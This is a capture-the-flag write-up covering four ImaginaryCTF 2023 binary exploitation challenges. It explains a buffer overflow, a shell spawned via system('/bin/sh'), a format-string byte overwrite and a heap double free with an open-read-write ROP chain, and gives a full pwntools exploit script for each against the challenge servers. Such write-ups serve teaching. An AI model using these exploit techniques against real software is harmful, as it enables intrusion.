Try   HackMD

First 4 pwn challenge

ret2win

Chall

Description

Can you overflow the buffer and get the flag? (Hint: if your exploit isn't working on the remote server, look into stack alignment

First pwn challenge, the most solved challenge in this category surely, given the binary file and its source code so i don't need to fire up my ghidra.

vuln.c :

#include <stdio.h> #include <unistd.h> int main() { char buf[64]; gets(buf); } int win() { system("cat flag.txt"); }

As you can see, there's an obvious buffer overflow with gets, which we can overwrite return address and control rip, and there's win function that will give use flag, that's why this kind of challenge technique called ret2win same as the challenge name which mean we return to win function.

Exploit

To exploit buffer overflow vulnerability we have to fill up stack frame until we got into the return address.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

just to give you some of the basic visualisation (i just randomly grab some image on google by typing stack frame), stack frame is something in between rsp and rbp register, return address is something that saved function address. So when a function done execute its instruction it go back to the function that called him, for example if main called gets it will saved address of main somewhere in stack and that's what we call return address, and by overwriting it we can control the flow of the program.This was the most basic challenge in pwn so no need to explain any further.

Final Solver :

from pwn import * elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' b* 0x0000000000401179 c ''' p = remote('ret2win.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) payload = b'a'*72+p64(0x000000000040101a)+p64(elf.sym.win) p.sendline(payload) p.interactive()

Flag

ictf{r3turn_0f_th3_k1ng?}

ret2lose

Chall

Description

You overflowed the buffer and got the flag... but can you get my other flag? (Remote and binary are the same as in the challenge ret2win, but you have to get a shell this time)

It's the same challenge as the earlier challenge, this time we have to spawn shell not just calling win function, there's a technique called ret2libc but libc wasn't given so we have to think a bit more creative this time.

Exploit

For someone has done ret2libc before you may know that we have to leak libc first and bla bla set rdi call system, but there aren't any puts or write function, something that will printed out the leak to stdout so we got no leak.

Before going any further it's good practice to check the mitigations first

❯ checksec vuln
[*] '/home/yqroo/Documents/ctf/imaginary2023/pwn/ret2lose/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

so there's no canary, PIE was off, and we can overwrite GOT Table. The reason i don't do this earlier was because i'm pretty sure canary and pie was off and no need to check for RELRO, this time to be able to overwrite GOT for my exploit script to works is a must.

Let me explain my idea, first i think i have to resolve the system so i want to call win function first but turns out that's not really useful so i just comment it out, what i mean by resolve is that when libc function in got table got executed the address will be a libc address not more a plt address, but this was nothing useful as i said earlier, because we don't need to leak something and if we have to leak we can leak other function that has been resolved for e.g puts of course this is for another challenge.

So, we'll jump to main when the instruction is lea rax, [rbp-0x40], oh let me give you the full main disassemble to understand better.

   0x0000000000401156 <+0>:	endbr64
   0x000000000040115a <+4>:	push   rbp
   0x000000000040115b <+5>:	mov    rbp,rsp
   0x000000000040115e <+8>:	sub    rsp,0x40
   0x0000000000401162 <+12>:	lea    rax,[rbp-0x40]
   0x0000000000401166 <+16>:	mov    rdi,rax
   0x0000000000401169 <+19>:	mov    eax,0x0
   0x000000000040116e <+24>:	call   0x401060 <gets@plt>
   0x0000000000401173 <+29>:	mov    eax,0x0
   0x0000000000401178 <+34>:	leave
   0x0000000000401179 <+35>:	ret

basically we jump to lea rax, [rbp-0x40] so we can control rdi, because i don't see any pop rdi gadget in ropper, but we have to also set the rbp before ret to main again the buffer size is 64 and there's rbp after that that rbp we have to set to GOT gets + 0x40 (elf.got.gets + 0x40) and that will set our rdi to GOT gets, and for this gets we'll input system plt, and basically overwrite return address again and call main once again, but there's more in payload let me break it down.

payload = flat( elf.plt.system, b'a'*0x30, b'/bin/sh\x00', 0x404058+0x40, # RBP, -0x40 will be /bin/sh address 0x0000000000401179, p64(0x0000000000401016)*401, # add rsp+8, ret 0x0000000000401179, # ret 0x0000000000401179, # ret 0x0000000000401162 # lea rax [rbp-0x40] )

i set /bin/sh to the buffer, and because this was on the bss section i can calculate the address (just do basic math with the address of GOT gets), one thing that must be underlined is the add rsp+8 gadget, when we don't use it in our system call it will be segfaulting because trying to write to non-writeable address (not in bss anymore), so i need to add more rsp so it can works after i tested it out there's some amount of rsp that we have to add if we add too little we'll get segfault because of the earlier reason or the system call argument doesn't get pass correctly system(<some random address>), my teammates said that was because there were to many args when we call posix_spawn so we need to reduce the stack frame by adding more rsp, in my local machine 219 add rsp+8 gadget was enough but in remote server i tested it was 390-400 ish add rsp gadgets.

Final Solver :

from pwn import * elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' set follow-fork-mode parent bp do_system+353 c ''' p = remote('ret2win.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) # resolve system but not useful # payload = flat( # b'a'*64, # 0x0000000000401179, # ret # 0x0000000000401179, # ret # elf.sym.win, # elf.sym.main # ) # p.sendline(payload) payload = flat( b'a'*64, elf.got.gets+0x40, 0x0000000000401179, # ret 0x401162 # main -> lea rax, [rbp-0x40] ) p.sendline(payload) payload = flat( elf.plt.system, b'a'*0x30, b'/bin/sh\x00', 0x404058+0x40, # RBP, -0x40 will be /bin/sh address 0x0000000000401179, p64(0x0000000000401016)*401, # add rsp+8, ret 0x0000000000401179, # ret 0x0000000000401179, # ret 0x0000000000401162 # lea rax [rbp-0x40] ) p.sendline(payload) p.interactive()

Flag

ictf{ret2libc?_what_libc?}

Form

Chall

Description

The obligatory format string challenge comes back, but with a twist.

Me personally think this challenge is the easiest among the pwn category, because we don't really need a script to solve it, but yeah we have to know the trick, this challenge vuln was format string (actually one of my favourite pwn challenge because easy and fun).

Disassembly :

pwndbg> disass main
Dump of assembler code for function main:
   0x0000555555555209 <+0>:	endbr64
   0x000055555555520d <+4>:	push   rbp
   0x000055555555520e <+5>:	mov    rbp,rsp
   0x0000555555555211 <+8>:	sub    rsp,0x20
   0x0000555555555215 <+12>:	mov    rax,QWORD PTR fs:0x28
   0x000055555555521e <+21>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000555555555222 <+25>:	xor    eax,eax
   0x0000555555555224 <+27>:	mov    edi,0x20
   0x0000555555555229 <+32>:	call   0x555555555100 <malloc@plt>
   0x000055555555522e <+37>:	mov    QWORD PTR [rbp-0x18],rax
   0x0000555555555232 <+41>:	mov    edi,0x20
   0x0000555555555237 <+46>:	call   0x555555555100 <malloc@plt>
   0x000055555555523c <+51>:	mov    QWORD PTR [rbp-0x20],rax
   0x0000555555555240 <+55>:	mov    rax,QWORD PTR [rip+0x2dd9]        # 0x555555558020 <stdin@GLIBC_2.2.5>
   0x0000555555555247 <+62>:	mov    esi,0x0
   0x000055555555524c <+67>:	mov    rdi,rax
   0x000055555555524f <+70>:	call   0x5555555550d0 <setbuf@plt>
   0x0000555555555254 <+75>:	mov    rax,QWORD PTR [rip+0x2db5]        # 0x555555558010 <stdout@GLIBC_2.2.5>
   0x000055555555525b <+82>:	mov    esi,0x0
   0x0000555555555260 <+87>:	mov    rdi,rax
   0x0000555555555263 <+90>:	call   0x5555555550d0 <setbuf@plt>
   0x0000555555555268 <+95>:	lea    rax,[rip+0xd95]        # 0x555555556004
   0x000055555555526f <+102>:	mov    rsi,rax
   0x0000555555555272 <+105>:	lea    rax,[rip+0xd8d]        # 0x555555556006
   0x0000555555555279 <+112>:	mov    rdi,rax
   0x000055555555527c <+115>:	call   0x555555555110 <fopen@plt>
   0x0000555555555281 <+120>:	mov    QWORD PTR [rbp-0x10],rax
   0x0000555555555285 <+124>:	mov    rdx,QWORD PTR [rbp-0x10]
   0x0000555555555289 <+128>:	mov    rax,QWORD PTR [rbp-0x18]
   0x000055555555528d <+132>:	mov    esi,0x20
   0x0000555555555292 <+137>:	mov    rdi,rax
   0x0000555555555295 <+140>:	call   0x5555555550f0 <fgets@plt>
   0x000055555555529a <+145>:	mov    rdx,QWORD PTR [rip+0x2d7f]        # 0x555555558020 <stdin@GLIBC_2.2.5>
   0x00005555555552a1 <+152>:	mov    rax,QWORD PTR [rbp-0x20]
   0x00005555555552a5 <+156>:	mov    esi,0x20
   0x00005555555552aa <+161>:	mov    rdi,rax
   0x00005555555552ad <+164>:	call   0x5555555550f0 <fgets@plt>
   0x00005555555552b2 <+169>:	lea    rax,[rbp-0x20]
   0x00005555555552b6 <+173>:	mov    QWORD PTR [rbp-0x18],rax
   0x00005555555552ba <+177>:	mov    rax,QWORD PTR [rbp-0x18]
   0x00005555555552be <+181>:	mov    rdi,rax
   0x00005555555552c1 <+184>:	call   0x5555555550c0 <strlen@plt>
   0x00005555555552c6 <+189>:	cmp    rax,0x17
   0x00005555555552ca <+193>:	ja     0x5555555552dd <main+212>
   0x00005555555552cc <+195>:	mov    rax,QWORD PTR [rbp-0x20]
   0x00005555555552d0 <+199>:	mov    rdi,rax
   0x00005555555552d3 <+202>:	mov    eax,0x0
   0x00005555555552d8 <+207>:	call   0x5555555550e0 <printf@plt>
   0x00005555555552dd <+212>:	mov    edi,0x0
   0x00005555555552e2 <+217>:	call   0x5555555550b0 <_exit@plt>

Or if you prefer a decompilation :

void main(void) { size_t sVar1; long in_FS_OFFSET; char *local_28; char **local_20; FILE *local_18; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); local_20 = (char **)malloc(0x20); local_28 = (char *)malloc(0x20); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); local_18 = fopen("flag.txt","r"); fgets((char *)local_20,0x20,local_18); fgets(local_28,0x20,stdin); local_20 = &local_28; sVar1 = strlen((char *)local_20); if (sVar1 < 0x18) { printf(local_28); } /* WARNING: Subroutine does not return */ _exit(0); }

Okay so the program malloc 2 chunk, first chunk will be the buffer for flag.txt, the second one is for our input buffer, and there's length restriction in our input so our payload must be small, well doesn't have to make a long one for this challenge.

Exploit

How our stack looks like after the printf :

00:0000│ rsp 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n'
01:0008│     0x7fffffffda68 —▸ 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n'
02:0010│     0x7fffffffda70 —▸ 0x555555559300 ◂— 0xfbad2488
03:0018│     0x7fffffffda78 ◂— 0xa91ab74e38e68900
04:0020│ rbp 0x7fffffffda80 ◂— 0x1
05:0028│     0x7fffffffda88 —▸ 0x7ffff7dd7850 (__libc_start_call_main+128) ◂— mov edi, eax
06:0030│     0x7fffffffda90 —▸ 0x7fffffffdb80 —▸ 0x7fffffffdb88 ◂— 0x38 /* '8' */
07:0038│     0x7fffffffda98 —▸ 0x555555555209 (main) ◂— endbr64 

as u can see there's our heap address in stack, and there's a stack address that point to our heap.

So, the idea is overwrite the stack address that point to heap with just one byte, this one so the stack address will point to our heap that contain flag.

01:0008│     0x7fffffffda68 —▸ 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n'

and then we can leak the flag with %s, this address since it will be overwritten to flag heap

00:0000│ rsp 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n'

We have to use non-positional format to execute our first idea (overwrite stack to point to flag heap) and we can use the $ to access the stack that have been overwritten.

The payload is :

%c%c%c%c%c%155c%hhn%6$s

we stack up %cuntil we hit the 6th stack, the 7th format will be the payload to overwrite one byte %hhn this will overwrite 7th stack one byte, 155 is a padding, we want to overwrite the heap to 0xa0 in the end(0xa0 is 160) but since we already have 5 %c earlier we have to substract it with 5, and with that the overwrite will be saved, so when we do %6$s this will actually going to treat the 6th stack as string and actually leak out our flag.

note : stack i provided earlier is stack after printf and stack i talked about is when we do %p since some of the earlier stack is something that use in internal printf cmiiw though.

Final Solver :

from pwn import * # elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' b* main c ''' p = remote('form.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) # p.sendline(b'%p %p %p %p %p %p %p %p %p %p') # p.sendline(b'%c%c%c%c%c%c%p') p.sendline(b'%c'*5 + f'%{0xa0-5}c%hhn%6$s'.encode()) p.recvuntil(b'\xd0') print(p.recvline(0)) p.interactive()

Flag

ictf{ngl_kinda_bored_of_these}

mailman

Chall

Description

I'm sure that my post office is 100% secure! It uses some of the latest software, unlike some of the other post offices out there...

Flag is in ./flag.txt.

I'm still trying to learn heap exploitation there's not many technique that i understand, but for this one i use fastbin dup and double free since it have uaf but doesn't have edit function, i won't explain each function of the program just my idea on how i approach this challenge.

Btw there's a seccomp used, and this is what they restrict us

❯ seccomp-tools dump ./vuln
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x00000005  if (A == fstat) goto 0010
 0009: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

basically open, read, write is what we have to do to get flag.

libc version (2.35) :

❯ strings libc.so.6| grep ubuntu
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
GCC: (Ubuntu 11.2.0-19ubuntu1) 11.2.0

mitigations :

❯ checksec vuln
[*] '/home/yqroo/Documents/ctf/imaginary2023/pwn/mailman/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Exploit

Because this is libc 2.35 there's safe linking procedure, just add demale and mangle function into exploit to resolve it

def demangle(addr:int) -> int: mid = addr >> 12 ^ addr ril = mid >> 24 ^ mid return ril def mangle(leak:int, target:int) -> int: return leak >> 12 ^ target

When i first saw this challenge what comes to my mind is somehow we have to do rop orw so we have to get libc address and stack address, if we successfully leak libc we can leak stack also from libc environ.

By getting a chunk in unsorted bin we can leak libc, to do it we have to fill up tcache first, and big enough chunk won't get to fastbin it goes to unsorted bin instead.

for i in range(7): add(i, 0x100, f'{i}'.encode()*0x10) add(7, 0x100, b'UNSORTED BIN') for i in range(7): # fill tcache free(i) add(8, 0x20, b'NO CORRUPT') # it's a must so top chunk doesn't get corrupted free(7) # will go to unsorted bin read(7) # leak libc.address = u64(p.recvline(0).ljust(8,b'\x00')) - libc.sym.main_arena - 96 info('%x', libc.address)

also we have to leak libc

read(1) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap)

so if we don't use demangle we won't get the same address as our heap, and sometimes this will get us in trouble.

after we got libc and heap, we'll do fastbin dup and double free so we can change the tcache structure so it's point to libc environ and libc environ has stack address in it.

for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, b'a') add(8, 0x40, b'b') add(9, 0x40, b'c') for i in range(7): free(i) free(7) free(8) free(7) # double free for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) # retrieve tcache add(7, 0x40, p64(mangle(heap, libc.sym.environ))) # add our libc environ have to be mangle first add(8, 0x40, b'./flag.txt\x00') # we'll use this later for rop payload add(9, 0x40, b'awikwokwk') # rubish add(10, 0x40, b'') # our libc environ address the stack get overwritten

i'll give some visualization for double free

<chunk 1 > --> <chunk 2 > --> <chunk 1>

that's what will happen to your heap in fastbin, we can't do that in tcache because of libc mitigations.

so our 7 (heap with index 7) will point to <chunk 1>, we malloc to it again and input our libc environ, so it will be something like

<chunk 2> --> <chunk 1> --> <libc environ> --> <stack not valid>

that's happen in tcache since we have retrieve all the tcache before malloc 7, then we malloc again 3 times, the last malloc will overwrite libc environ so we can read 10 to leak because fgets terminate input with null.

to leak the stack i try to do something creative, i don't know if this will works in other machine but this also works in remote, well my solver really is not stable but doesn't care i solved it with this.

add(11, 0x40, b'STACK') free(11) read(11) flag = heap + 2624 # earlier ./flag.txt rip = mangle(libc.sym.environ, mangle(heap, u64(p.recvline(0).ljust(8, b'\x00')))) - 0x190 # mangle 2 times info('%x', rip)

so um i honestly don't know, i thought when i add 1 more chunk the not valid stack will get allocated but not i got another heap address that will point to that's not valid stack, here the visualization

<chunk out of no where> --> <not valid stack>

i read it and mangle it 2 times with libc heap and libc environ, we can't use demangle because that's not heap, let's go through the safe linking first.

So if we free chunk it will get encrypted it with mangle

<freshly freed> --> <free earlier>

free earlier = freshly freed >> 12 ^ free earlier but actuall address

that'some shitty explanation but i hope you understand, so we have to mangle it to get to address of stack that been mangled by libc environ address, then we mangle back to get actuall stack that libc environ originally has, please don't be confused on this, for further explanation if we have a heap address to get its original address we can do demangle because we don't really need a seccond value as the key xor, we can recover that because address of heap (if it's not differ to much) the first couple byte will be the same so demangle works. but if we have libc injected we have to use mangle becuase the xor key is heap and first couple byte isn't the same, hope that's explain.

we get our libc address and stack address, we will have to malloc to stack to do rop but where though?? well we have to malloc in return address but remember chunk have to be perfectly aligned (not 0x8), so rip-8 is good.

for my solver i'm really trying to malloc to return address but somehow it crash, what i mean by crash is we can't malloc there or something, i don't know it hard to debug why this happen, then i decided to calculate a return address of a function (doesn't remember) and get -0x190 from libc environ, but yes it's also crash and when i calculate again in many function it return -0x160 and yes this CRASHHH!! then i tried to add sleep(1) before last payload subtract more -0x170 .. until -0x190 and it works?? what??, there's to many thing i don't understand i'm sorry for being silly but the return address is -0x190 from stack libc environ, accept it.

the rop payload is divided by 2 because the size isn't enough.

rop1 = flat( ret, rax, 0x2, rdi, flag, rsi, 0x0, syscall, rax, 0x0, rdi, 0x3, rsi, rip-0x60, ) rop2 = flat( rdx_r12, 0x60, 0x00, syscall, rax, 0x1, rdi, 0x1, syscall )

rop2 will be malloced at rip-8+len(rop1) while the rop1 is the problem i earlier told (crash when malloc or something, idk), the rop payload it self is just a basic orw syscall payload.

and that's it, the program printed us flag heap heap hoorayy, this is the most pain chall that i solved since i'm heapy noob.

Final Solver :

from pwn import * elf = context.binary = ELF('./vuln', checksec=False) libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) def add(idx:int, size:int, msg:bytes): # write p.sendlineafter(b'> ', b'1') p.sendlineafter(b'idx: ',f'{idx}'.encode()) p.sendlineafter(b'letter size: ',f'{size}'.encode()) p.sendlineafter(b'content: ', msg) def free(idx:int): # send p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx: ',f'{idx}'.encode()) def read(idx:int): # read p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx: ',f'{idx}'.encode()) def demangle(addr:int) -> int: mid = addr >> 12 ^ addr ril = mid >> 24 ^ mid return ril def mangle(leak:int, target:int) -> int: return leak >> 12 ^ target p = remote('mailman.chal.imaginaryctf.org', 1337) # p = elf.process() for i in range(7): add(i, 0x100, f'{i}'.encode()*0x10) add(7, 0x100, b'UNSORTED BIN') for i in range(7): free(i) add(8, 0x20, b'NO CORRUPT') free(7) read(7) libc.address = u64(p.recvline(0).ljust(8,b'\x00')) - libc.sym.main_arena - 96 info('%x', libc.address) read(1) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, b'a') add(8, 0x40, b'b') add(9, 0x40, b'c') for i in range(7): free(i) free(7) free(8) free(7) for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, p64(mangle(heap, libc.sym.environ))) add(8, 0x40, b'./flag.txt\x00') add(9, 0x40, b'awikwokwk') add(10, 0x40, b'') add(11, 0x40, b'STACK') free(11) read(11) flag = heap + 2624 rip = mangle(libc.sym.environ, mangle(heap, u64(p.recvline(0).ljust(8, b'\x00')))) - 0x190 info('%x', rip) rax = libc.address + 0x0000000000045eb0 rdi = libc.address + 0x000000000002a3e5 rsi = libc.address + 0x00000000001303b2 rdx_r12 = libc.address + 0x000000000011f497 ret = libc.address + 0x00000000000f90e1 syscall = libc.address + 0x0000000000091396 rop1 = flat( ret, rax, 0x2, rdi, flag, rsi, 0x0, syscall, rax, 0x0, rdi, 0x3, rsi, rip-0x60, ) rop2 = flat( rdx_r12, 0x60, 0x00, syscall, rax, 0x1, rdi, 0x1, syscall ) for i in range(7): add(i, 0x60, f'{i}'.encode()*0x10) add(7, 0x60, b'a') add(8, 0x60, b'b') add(9, 0x60, b'c') for i in range(7): free(i) free(7) free(8) free(7) read(6) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x60, f'{i}'.encode()*0x10) info('%x',rip-8) add(7, 0x60, p64(mangle(heap, rip-8+len(rop1)))) add(8, 0x60, b'awikwokwk') add(9, 0x60, b'awikwokwk') add(10, 0x60, rop2) for i in range(7): add(i, 0x71, f'{i}'.encode()*0x10) add(7, 0x71, b'a') add(8, 0x71, b'b') add(9, 0x71, b'c') for i in range(7): free(i) free(7) free(8) free(7) read(7) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x71, f'{i}'.encode()*0x10) add(7, 0x71, p64(mangle(heap, rip-8))) add(8, 0x71, b'awikwokwk') add(9, 0x71, b'awikwokwk') c = f''' b* {syscall} c ''' # gdb.attach(p,c) # print(hex(rip)) sleep(1) add(10, 0x71, rop1) p.interactive()

Flag

ictf{i_guess_the_post_office_couldnt_hide_the_heapnote_underneath_912b123f}

Author's note

May this writeups help you :+1:

All the solver available at : Github Page